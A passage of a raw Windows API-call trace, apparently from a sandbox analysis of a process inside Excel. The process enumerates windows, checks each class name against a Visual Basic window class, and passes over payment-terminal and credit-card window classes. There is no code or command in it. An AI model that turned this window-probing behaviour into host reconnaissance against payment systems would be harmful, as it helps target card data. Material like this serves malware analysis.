hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0131.477] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0131.478] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0131.478] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0131.478] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0131.478] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0131.478] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0131.478] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0131.479] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0131.479] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0131.479] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0131.479] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0131.479] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0131.480] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0131.480] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0131.480] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0131.480] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0131.480] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0131.480] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0131.481] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0131.481] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0131.481] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0131.481] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0131.481] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0131.482] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0131.482] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0131.482] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0131.482] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0131.482] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0131.482] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0131.483] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0131.487] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0131.487] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0131.487] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0131.487] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0131.488] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0131.488] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0131.488] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0131.488] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0131.488] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0131.488] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0131.489] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0131.489] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.489] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.489] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0131.489] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.489] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0131.490] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.490] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.490] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.490] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0131.490] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0131.491] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.491] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0131.491] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0131.491] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.491] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.491] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.492] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.492] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0131.492] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0131.492] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0131.492] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.492] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0131.493] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0131.600] GetCurrentThreadId () returned 0xbdc [0131.600] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0131.600] GetDesktopWindow () returned 0x10010 [0131.600] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.601] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.601] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.601] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0131.601] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0131.601] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0131.602] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.602] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.602] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.602] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.602] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.603] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.603] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.603] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.603] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.603] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.604] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.604] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0131.604] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.604] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.604] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.604] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0131.604] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0131.604] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0131.605] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.605] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0131.605] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0131.605] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0131.605] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.605] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0131.605] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0131.605] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0131.605] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.605] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0131.605] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0131.605] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0131.605] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.605] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0131.605] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0131.605] IsWindowEnabled (hWnd=0x20360) returned 1 [0131.605] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0131.605] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0131.605] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0131.606] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0131.606] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0131.606] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0131.606] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.606] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0131.606] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0131.606] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0131.606] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0131.606] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0131.606] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0131.606] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0131.606] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0131.606] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.606] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0131.606] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0131.606] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0131.606] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0131.606] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0131.606] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0131.606] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.606] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0131.606] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0131.606] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0131.606] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0131.606] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0131.606] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0131.606] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.606] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0131.606] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0131.606] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0131.606] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0131.606] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0131.606] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0131.606] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.606] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0131.607] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0131.607] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0131.607] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0131.607] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0131.607] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0131.607] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0131.607] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0131.607] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0131.607] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0131.607] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0131.607] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0131.607] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0131.607] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0131.607] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0131.607] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0131.607] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0131.607] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0131.607] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0131.607] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.607] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.607] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0131.607] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0131.607] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0131.607] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0131.607] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0131.607] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0131.608] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0131.608] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0131.608] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0131.608] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0131.608] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0131.608] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0131.608] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0131.608] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0131.608] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0131.609] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0131.609] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0131.609] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0131.609] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0131.609] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0131.609] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0131.609] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0131.609] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0131.609] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0131.609] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0131.610] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0131.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0131.610] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0131.610] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0131.610] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0131.610] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0131.610] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0131.610] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0131.610] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0131.610] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.611] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.611] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0131.611] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0131.611] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0131.611] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0131.611] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0131.611] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0131.611] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0131.611] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.611] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.612] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0131.612] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0131.612] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0131.612] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0131.612] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.612] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.612] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0131.612] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0131.612] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0131.613] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0131.613] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.613] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.613] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0131.613] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0131.613] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0131.613] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0131.613] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.613] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.614] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0131.614] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0131.614] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0131.614] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0131.614] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.614] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.614] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0131.614] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0131.614] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0131.615] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0131.615] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.615] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0131.615] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0131.615] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0131.615] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0131.615] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.616] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0131.616] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0131.616] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0131.616] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0131.616] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.616] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0131.616] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0131.616] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0131.617] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0131.617] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0131.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0131.617] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0131.617] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0131.617] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0131.617] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0131.617] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: 